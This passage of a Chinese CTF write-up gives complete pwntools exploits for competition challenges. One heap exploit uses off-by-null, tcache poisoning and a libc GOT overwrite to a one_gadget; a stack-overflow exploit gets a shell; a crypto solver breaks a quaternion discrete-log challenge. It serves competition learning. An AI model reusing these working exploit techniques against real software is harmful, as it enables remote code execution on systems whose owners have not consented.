class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">add(<span class="number">9</span>, <span class="number">0x500</span>, p64(<span class="number">0</span>)+p64(<span class="number">0x601</span>))</span><br><span class="line">add(<span class="number">0</span>, <span class="number">0x4f0</span>, <span class="string">b&#x27;a&#x27;</span>*<span class="number">8</span>)</span><br><span class="line">add(<span class="number">10</span>, <span class="number">0x500</span>, <span class="string">b&#x27;a&#x27;</span>*<span class="number">8</span>)</span><br><span class="line">add(<span class="number">1</span>, <span class="number">0x4f0</span>, <span class="string">b&#x27;a&#x27;</span>*<span class="number">8</span>)</span><br><span class="line"></span><br><span class="line">free(<span class="number">10</span>)</span><br><span class="line">free(<span class="number">9</span>)</span><br><span class="line">add(<span class="number">9</span>, <span class="number">0x500</span>, <span class="string">b&#x27;a&#x27;</span>*<span class="number">4</span>)</span><br><span class="line">edit(<span class="number">9</span>, <span class="string">b&#x27;a&#x27;</span>*<span class="number">8</span>)</span><br><span class="line">show(<span class="number">9</span>)</span><br><span class="line"></span><br><span class="line">conn.recvuntil(<span class="string">b&#x27;a&#x27;</span>*<span class="number">8</span>)</span><br><span class="line">heap = u64(conn.recv(<span class="number">6</span>)+<span class="string">b&#x27;\x00\x00&#x27;</span>) - <span class="number">0x290</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;[+] Heap base: <span class="subst">&#123;<span class="built_in">hex</span>(heap)&#125;</span>&quot;</span>)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>接着伪造 chunk 和 off-by-null</p><ol><li>在最低地址 <code>0x510</code> 的 chunk0 中伪造一个大小为 <code>0x600</code> 的 chunk。</li><li>修改 chunk0 的 <code>fd</code> 和 <code>bk</code> 指向伪造 chunk 地址。</li><li>利用 chunk1 的 <code>off-by-null</code> 漏洞，修改 chunk2 的 <code>pre_inuse</code> 与 <code>pre_size</code> 位，使其 <code>pre_size=0x600</code>。</li></ol><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">free(<span class="number">0</span>)</span><br><span class="line">free(<span class="number">1</span>)</span><br><span class="line">free(<span class="number">9</span>)</span><br><span class="line">free(<span class="number">10</span>)</span><br><span class="line"></span><br><span class="line">add(<span class="number">0</span>, <span class="number">0x500</span>, p64(<span class="number">0</span>)+p64(<span class="number">0x601</span>)+p64(heap+<span class="number">0x2a0</span>)*<span class="number">2</span>)</span><br><span class="line">add(<span class="number">1</span>, <span class="number">0xf8</span>, <span class="string">b&#x27;a&#x27;</span>*<span class="number">8</span>)</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">2</span>, <span class="number">10</span>):</span><br><span class="line">    add(i, <span class="number">0xf8</span>, <span class="string">b&#x27;a&#x27;</span>*<span class="number">8</span>)</span><br><span class="line">add(<span class="number">9</span>, <span class="number">0xf0</span>, <span class="string">b&#x27;a&#x27;</span>*<span class="number">8</span>)</span><br><span class="line"></span><br><span class="line">free(<span class="number">1</span>)</span><br><span class="line">add(<span class="number">1</span>, <span class="number">0xf8</span>, <span class="string">b&#x27;a&#x27;</span>*<span class="number">0xf0</span> + p64(<span class="number">0x600</span>))</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">3</span>, <span class="number">10</span>):</span><br><span class="line">    free(i)</span><br><span class="line">free(<span class="number">2</span>)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>然后泄露 libc，利用 chunk1 指针泄露 libc 基址</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">add(<span class="number">9</span>, <span class="number">0x4f0</span>, <span class="string">b&#x27;a&#x27;</span>*<span class="number">8</span>)</span><br><span class="line">show(<span class="number">1</span>)</span><br><span class="line">conn.recvuntil(<span class="string">b&#x27;Show at index 1:\n&#x27;</span>)</span><br><span class="line">libc_base = u64(conn.recv(<span class="number">6</span>)+<span class="string">b&#x27;\x00\x00&#x27;</span>) - <span class="number">0x21ace0</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;[+] libc base: <span class="subst">&#123;<span class="built_in">hex</span>(libc_base)&#125;</span>&quot;</span>)</span><br></pre></td></tr></table></figure><p>接着释放无用 chunk，准备劫持</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">free(<span class="number">9</span>)</span><br><span class="line">add(<span class="number">8</span>, <span class="number">0x1f0</span>, <span class="string">b&#x27;a&#x27;</span>*<span class="number">8</span>)</span><br><span class="line">free(<span class="number">8</span>)</span><br><span class="line">free(<span class="number">1</span>)</span><br></pre></td></tr></table></figure><ol><li>利用 tcache bins 伪造任意分配，获取 libc GOT 表中 <code>strlen</code> 地址。</li><li>覆盖 GOT，使其调用 one_gadget 达成 RCE。</li></ol><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">key = heap &gt;&gt; <span class="number">12</span></span><br><span class="line">payload = <span class="string">b&#x27;a&#x27;</span>*<span class="number">0x2f0</span> + p64(<span class="number">0x510</span>) + p64(<span class="number">0x201</span>) + p64((heap+<span class="number">0x10</span>)^key)</span><br><span class="line">add(<span class="number">3</span>, <span class="number">0x4f0</span>, payload)</span><br><span class="line">add(<span class="number">4</span>, <span class="number">0x1f0</span>, <span class="string">b&#x27;a&#x27;</span>)</span><br><span class="line">add(<span class="number">5</span>, <span class="number">0x1f0</span>, p16(<span class="number">7</span>)*<span class="number">0x40</span> + p64(libc_base+<span class="number">0x21A090</span>)*<span class="number">4</span>)</span><br><span class="line">add(<span class="number">6</span>, <span class="number">0x20</span>, p64(libc_base+<span class="number">0xebc85</span>)*<span class="number">2</span>)</span><br><span class="line"></span><br><span class="line">conn.interactive()</span><br></pre></td></tr></table></figure><p>完整 exp</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># conn=process(&#x27;./digtal_bomb&#x27;)</span></span><br><span class="line">conn=remote(<span class="string">&quot;pwn-bee7897324.challenge.xctf.org.cn&quot;</span>, <span class="number">9999</span>, ssl=<span class="literal">True</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;./libc.so.6&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">ch</span>(<span class="params">Id</span>):</span><br><span class="line">    conn.sendlineafter(<span class="string">b&quot;Your choice &gt;&gt;&quot;</span>, <span class="built_in">str</span>(Id).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">add</span>(<span class="params">Id, size, payload</span>):</span><br><span class="line">    ch(<span class="number">1</span>)</span><br><span class="line">    conn.sendlineafter(<span class="string">b&quot;Index &gt;&gt; \n&quot;</span>, <span class="built_in">str</span>(Id).encode())</span><br><span class="line">    conn.sendlineafter(<span class="string">b&quot;Size &gt;&gt; \n&quot;</span>, <span class="built_in">str</span>(size).encode())</span><br><span class="line">    conn.send(payload)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">free</span>(<span class="params">Id</span>):</span><br><span class="line">    ch(<span class="number">2</span>)</span><br><span class="line">    conn.sendlineafter(<span class="string">b&quot;Index &gt;&gt; \n&quot;</span>, <span class="built_in">str</span>(Id).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">show</span>(<span class="params">Id</span>):</span><br><span class="line">    ch(<span class="number">3</span>)</span><br><span class="line">    conn.sendlineafter(<span class="string">b&quot;Index &gt;&gt; \n&quot;</span>, <span class="built_in">str</span>(Id).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">edit</span>(<span class="params">Id, payload</span>):</span><br><span class="line">    ch(<span class="number">666</span>)</span><br><span class="line">    conn.sendlineafter(<span class="string">b&quot;Index &gt;&gt; \n&quot;</span>, <span class="built_in">str</span>(Id).encode())</span><br><span class="line">    conn.send(payload)</span><br><span class="line"></span><br><span class="line"><span class="comment"># ====== 初始化数字炸弹 ======</span></span><br><span class="line">conn.sendlineafter(<span class="string">b&quot;Enter min (0-500): &quot;</span>, <span class="string">b&quot;498&quot;</span>)</span><br><span class="line">conn.sendlineafter(<span class="string">b&quot;Enter max (0-500): &quot;</span>, <span class="string">b&quot;500&quot;</span>)</span><br><span class="line">conn.sendlineafter(<span class="string">b&quot;Your guess :&quot;</span>, <span class="string">b&quot;500&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># ====== 泄露堆地址 ======</span></span><br><span class="line">add(<span class="number">9</span>, <span class="number">0x500</span>, p64(<span class="number">0</span>)+p64(<span class="number">0x601</span>))</span><br><span class="line">add(<span class="number">0</span>, <span class="number">0x4f0</span>, <span class="string">b&#x27;a&#x27;</span>*<span class="number">8</span>)</span><br><span class="line">add(<span class="number">10</span>, <span class="number">0x500</span>, <span class="string">b&#x27;a&#x27;</span>*<span class="number">8</span>)</span><br><span class="line">add(<span class="number">1</span>, <span class="number">0x4f0</span>, <span class="string">b&#x27;a&#x27;</span>*<span class="number">8</span>)</span><br><span class="line"></span><br><span class="line">free(<span class="number">10</span>)</span><br><span class="line">free(<span class="number">9</span>)</span><br><span class="line">add(<span class="number">9</span>, <span class="number">0x500</span>, <span class="string">b&#x27;a&#x27;</span>*<span class="number">4</span>)</span><br><span class="line">edit(<span class="number">9</span>, <span class="string">b&#x27;a&#x27;</span>*<span class="number">8</span>)</span><br><span class="line">show(<span class="number">9</span>)</span><br><span class="line"></span><br><span class="line">conn.recvuntil(<span class="string">b&#x27;a&#x27;</span>*<span class="number">8</span>)</span><br><span class="line">heap = u64(conn.recv(<span class="number">6</span>)+<span class="string">b&#x27;\x00\x00&#x27;</span>) - <span class="number">0x290</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;[+] Heap base: <span class="subst">&#123;<span class="built_in">hex</span>(heap)&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># ====== 伪造 chunk 与 off-by-null ======</span></span><br><span class="line">free(<span class="number">0</span>)</span><br><span class="line">free(<span class="number">1</span>)</span><br><span class="line">free(<span class="number">9</span>)</span><br><span class="line">free(<span class="number">10</span>)</span><br><span class="line"></span><br><span class="line">add(<span class="number">0</span>, <span class="number">0x500</span>, p64(<span class="number">0</span>)+p64(<span class="number">0x601</span>)+p64(heap+<span class="number">0x2a0</span>)*<span class="number">2</span>)</span><br><span class="line">add(<span class="number">1</span>, <span class="number">0xf8</span>, <span class="string">b&#x27;a&#x27;</span>*<span class="number">8</span>)</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">2</span>, <span class="number">10</span>):</span><br><span class="line">    add(i, <span class="number">0xf8</span>, <span class="string">b&#x27;a&#x27;</span>*<span class="number">8</span>)</span><br><span class="line">add(<span class="number">9</span>, <span class="number">0xf0</span>, <span class="string">b&#x27;a&#x27;</span>*<span class="number">8</span>)</span><br><span class="line"></span><br><span class="line">free(<span class="number">1</span>)</span><br><span class="line">add(<span class="number">1</span>, <span class="number">0xf8</span>, <span class="string">b&#x27;a&#x27;</span>*<span class="number">0xf0</span> + p64(<span class="number">0x600</span>))</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">3</span>, <span class="number">10</span>):</span><br><span class="line">    free(i)</span><br><span class="line">free(<span class="number">2</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># ====== 泄露 libc 基址 ======</span></span><br><span class="line">add(<span class="number">9</span>, <span class="number">0x4f0</span>, <span class="string">b&#x27;a&#x27;</span>*<span class="number">8</span>)</span><br><span class="line">show(<span class="number">1</span>)</span><br><span class="line">conn.recvuntil(<span class="string">b&#x27;Show at index 1:\n&#x27;</span>)</span><br><span class="line">libc_base = u64(conn.recv(<span class="number">6</span>)+<span class="string">b&#x27;\x00\x00&#x27;</span>) - <span class="number">0x21ace0</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;[+] libc base: <span class="subst">&#123;<span class="built_in">hex</span>(libc_base)&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line">free(<span class="number">9</span>)</span><br><span class="line">add(<span class="number">8</span>, <span class="number">0x1f0</span>, <span class="string">b&#x27;a&#x27;</span>*<span class="number">8</span>)</span><br><span class="line">free(<span class="number">8</span>)</span><br><span class="line">free(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># ====== 劫持 tcache bins 执行 RCE ======</span></span><br><span class="line">key = heap &gt;&gt; <span class="number">12</span></span><br><span class="line">payload = <span class="string">b&#x27;a&#x27;</span>*<span class="number">0x2f0</span> + p64(<span class="number">0x510</span>) + p64(<span class="number">0x201</span>) + p64((heap+<span class="number">0x10</span>)^key)</span><br><span class="line">add(<span class="number">3</span>, <span class="number">0x4f0</span>, payload)</span><br><span class="line">add(<span class="number">4</span>, <span class="number">0x1f0</span>, <span class="string">b&#x27;a&#x27;</span>)</span><br><span class="line">add(<span class="number">5</span>, <span class="number">0x1f0</span>, p16(<span class="number">7</span>)*<span class="number">0x40</span> + p64(libc_base+<span class="number">0x21A090</span>)*<span class="number">4</span>)</span><br><span class="line">add(<span class="number">6</span>, <span class="number">0x20</span>, p64(libc_base+<span class="number">0xebc85</span>)*<span class="number">2</span>)</span><br><span class="line"></span><br><span class="line">conn.interactive()</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="odd-canary"><a href="#odd-canary" class="headerlink" title="odd_canary"></a>odd_canary</h2><p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Preliminary-Round-Writeup/f3e875e8-1b6e-4253-ae3e-cd17cdc6903f-1758298447159-29.png"></p><p>先打good让他泄露libc地址，然后打vuln栈溢出getshell</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">context(arch=<span class="string">&#x27;amd64&#x27;</span>, os=<span class="string">&#x27;linux&#x27;</span>, log_level=<span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line"></span><br><span class="line">conn = remote(<span class="string">&quot;pwn-685e27d009.challenge.xctf.org.cn&quot;</span>, <span class="number">9999</span>, ssl=<span class="literal">True</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 加载 libc</span></span><br><span class="line">libc_obj = ELF(<span class="string">&#x27;./libc.so.6&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 第一次 good 操作，泄露 libc 地址</span></span><br><span class="line">conn.sendafter(<span class="string">&#x27;(good/vuln/exit): &#x27;</span>, <span class="string">b&#x27;good&#x27;</span>)</span><br><span class="line">conn.sendafter(<span class="string">&#x27;first:\n&#x27;</span>, <span class="string">b&#x27;B&#x27;</span>*<span class="number">0x1f</span>)</span><br><span class="line">conn.sendafter(<span class="string">&#x27;(good/vuln/exit): &#x27;</span>, <span class="string">b&#x27;good&#x27;</span>)</span><br><span class="line">conn.recvuntil(<span class="string">f&#x27;I will tell you good news,<span class="subst">&#123;<span class="string">&quot;B&quot;</span>*<span class="number">0x1f</span>&#125;</span>\n&#x27;</span>)</span><br><span class="line"></span><br><span class="line">leaked_puts = u64(conn.recv(<span class="number">6</span>).ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">libc_base = leaked_puts - libc_obj.sym[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line"></span><br><span class="line"><span class="comment"># 计算 one_gadget 地址</span></span><br><span class="line">og_addr = libc_base + <span class="number">0xebc81</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 第二次 good 操作填充名字</span></span><br><span class="line">conn.sendafter(<span class="string">&#x27;name first:\n&#x27;</span>, <span class="string">b&#x27;B&#x27;</span>*<span class="number">0x1f</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 构造 payload</span></span><br><span class="line">buf_prefix = <span class="string">b&#x27;exec&#x27;</span></span><br><span class="line">payload = buf_prefix.ljust(<span class="number">0x30</span>, <span class="string">b&#x27;\x00&#x27;</span>)</span><br><span class="line">payload += p64(<span class="number">0x404800</span>)      <span class="comment"># bss 或者返回地址覆盖目标</span></span><br><span class="line">payload += p64(og_addr)       <span class="comment"># one_gadget</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 触发 vuln 栈溢出</span></span><br><span class="line">conn.sendafter(<span class="string">&#x27;(good/vuln/exit): &#x27;</span>, <span class="string">b&#x27;vuln&#x27;</span>)</span><br><span class="line">conn.sendafter(<span class="string">&#x27;payload: \n&#x27;</span>, payload)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 进入交互</span></span><br><span class="line">conn.interactive()</span><br><span class="line"></span><br></pre></td></tr></table></figure><h1 id="Crypto"><a href="#Crypto" class="headerlink" title="Crypto"></a>Crypto</h1><h2 id="new-trick"><a href="#new-trick" class="headerlink" title="new_trick"></a>new_trick</h2><p>Claude 一把梭了</p><ol><li>有一个四元数 Q，和它的某个幂次 R &#x3D; Q^secret</li><li>secret &lt; 2^50，需要找到这个secret</li><li>用secret的MD5作为AES密钥加密了flag</li></ol><p>关键在于解决四元数的离散对数问题</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> hashlib <span class="keyword">import</span> md5</span><br><span class="line"><span class="keyword">from</span> Crypto.Cipher <span class="keyword">import</span> AES</span><br><span class="line"><span class="keyword">from</span> Crypto.Util.Padding <span class="keyword">import</span> unpad</span><br><span class="line"><span class="keyword">import</span> math</span><br><span class="line"></span><br><span class="line"><span class="comment"># Given parameters</span></span><br><span class="line">p = <span class="number">115792089237316195423570985008687907853269984665640564039457584007913129639747</span></span><br><span class="line">Q_components = (<span class="number">123456789</span>, <span class="number">987654321</span>, <span class="number">135792468</span>, <span class="number">864297531</span>)</span><br><span class="line">R_components = (<span class="number">53580504271939954579696282638160058429308301927753139543147605882574336327145</span>, </span><br><span class="line">                <span class="number">79991318245209837622945719467562796951137605212294979976479199793453962090891</span>, </span><br><span class="line">                <span class="number">53126869889181040587037210462276116096032594677560145306269148156034757160128</span>, </span><br><span class="line">                <span class="number">97368024230306399859522783292246509699830254294649668434604971213496467857155</span>)</span><br><span class="line"></span><br><span class="line">encrypted_flag = <span class="string">b&#x27;(\xe4IJ\xfd4%\xcf\xad\xb4\x7fi\xae\xdbZux6-\xf4\xd72\x14BB\x1e\xdc\xb7\xb7\xd1\xad#e@\x17\x1f\x12\xc4\xe5\xa6\x10\x91\x08\xd6\x87\x82H\x9e&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Quaternion</span>:</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self, a, b, c, d</span>):</span><br><span class="line">        self.p = p</span><br><span class="line">        self.a = a % self.p</span><br><span class="line">        self.b = b % self.p</span><br><span class="line">        self.c = c % self.p</span><br><span class="line">        self.d = d % self.p</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__repr__</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="keyword">return</span> <span class="string">f&quot;Q(<span class="subst">&#123;self.a&#125;</span>, <span class="subst">&#123;self.b&#125;</span>, <span class="subst">&#123;self.c&#125;</span>, <span class="subst">&#123;self.d&#125;</span>)&quot;</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__mul__</span>(<span class="params">self, other</span>):</span><br><span class="line">        a1, b1, c1, d1 = self.a, self.b, self.c, self.d</span><br><span class="line">        a2, b2, c2, d2 = other.a, other.b, other.c, other.d</span><br><span class="line">        a_new = a1 * a2 - b1 * b2 - c1 * c2 - d1 * d2</span><br><span class="line">        b_new = a1 * b2 + b1 * a2 + c1 * d2 - d1 * c2</span><br><span class="line">        c_new = a1 * c2 - b1 * d2 + c1 * a2 + d1 * b2</span><br><span class="line">        d_new = a1 * d2 + b1 * c2 - c1 * b2 + d1 * a2</span><br><span class="line">        <span class="keyword">return</span> Quaternion(a_new, b_new, c_new, d_new)</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__eq__</span>(<span class="params">self, other</span>):</span><br><span class="line">        <span class="keyword">return</span> (self.a == other.a <span class="keyword">and</span> self.b == other.b <span class="keyword">and</span> </span><br><span class="line">                self.c == other.c <span class="keyword">and</span> self.d == other.d)</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">conjugate</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="keyword">return</span> Quaternion(self.a, -self.b, -self.c, -self.d)</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">norm_squared</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="keyword">return</span> (self.a * self.a + self.b * self.b + </span><br><span class="line">                self.c * self.c + self.d * self.d) % self.p</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">inverse</span>(<span class="params">self</span>):</span><br><span class="line">        norm_sq = self.norm_squared()</span><br><span class="line">        <span class="comment"># Find modular inverse of norm_squared</span></span><br><span class="line">        inv_norm = <span class="built_in">pow</span>(norm_sq, self.p - <span class="number">2</span>, self.p)</span><br><span class="line">        conj = self.conjugate()</span><br><span class="line">        <span class="keyword">return</span> Quaternion(conj.a * inv_norm, conj.b * inv_norm, </span><br><span class="line">                         conj.c * inv_norm, conj.d * inv_norm)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">power</span>(<span class="params">base_quat, exp</span>):</span><br><span class="line">    res = Quaternion(<span class="number">1</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>)</span><br><span class="line">    base = 